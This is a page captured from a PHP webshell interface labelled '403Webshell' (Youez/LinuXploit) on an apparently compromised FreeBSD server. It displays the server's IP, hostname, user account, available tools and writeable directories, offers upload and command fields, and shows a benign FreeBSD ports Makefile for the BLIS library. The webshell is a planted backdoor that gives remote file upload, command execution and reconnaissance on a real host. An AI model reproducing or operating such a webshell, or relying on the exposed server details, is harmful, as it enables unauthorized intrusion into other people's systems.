403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/blis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/blis/Makefile
PORTNAME=	blis
PORTVERSION=	0.8.1
PORTREVISION=	1
CATEGORIES=	math

MAINTAINER=	jmd@FreeBSD.org
COMMENT=	Software framework for high-performance BLAS-like libraries
WWW=		https://github.com/flame/blis

LICENSE=	BSD3CLAUSE
LICENSE_FILE=	${WRKSRC}/LICENSE

BUILD_DEPENDS=	bash:shells/bash

USES=		compiler gmake perl5 python shebangfix
USE_GITHUB=	yes
GH_ACCOUNT=	flame
USE_LDCONFIG=	yes
USE_PERL5=	build
SHEBANG_FILES=	build/flatten-headers.py

OPTIONS_DEFINE=	PARA CBLAS
PARA_DESC=	use pthread parallelization
CBLAS_DESC=	build the CBLAS compatibility layer
OPTIONS_DEFAULT=	PARA CBLAS
OPTIONS_SUB=		yes

CFLAGS_riscv64=	-mno-relax
HAS_CONFIGURE=	yes

TEST_TARGET=	test

.include <bsd.port.options.mk>

# enable BLAS and static/shared libs by default
CONFIGURE_ARGS+=	--enable-blas \
			--prefix=${PREFIX} \
			--enable-shared \
			--enable-static
#--prefix=PREFIX

.if ${PORT_OPTIONS:MPARA}
CONFIGURE_ARGS+=	-t pthreads
.endif

.if ${PORT_OPTIONS:MCBLAS}
CONFIGURE_ARGS+=	--enable-cblas
.endif

.if ${ARCH} == amd64
CONFIGURE_ARGS+=	x86_64
PLIST_SUB+=	ARCH="x86_64"
.elif ${ARCH} == powerpc64
CONFIGURE_ARGS+=	power9
PLIST_SUB+=	ARCH="power9"
USE_GCC=	yes
.else
CONFIGURE_ARGS+=	generic
PLIST_SUB+=	ARCH="generic"
.endif

.include <bsd.port.pre.mk>

.if ${CHOSEN_COMPILER_TYPE} == gcc
USE_GCC=	yes
.endif

post-install:
	@${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/libblis.so.3.0.0

.include <bsd.port.post.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit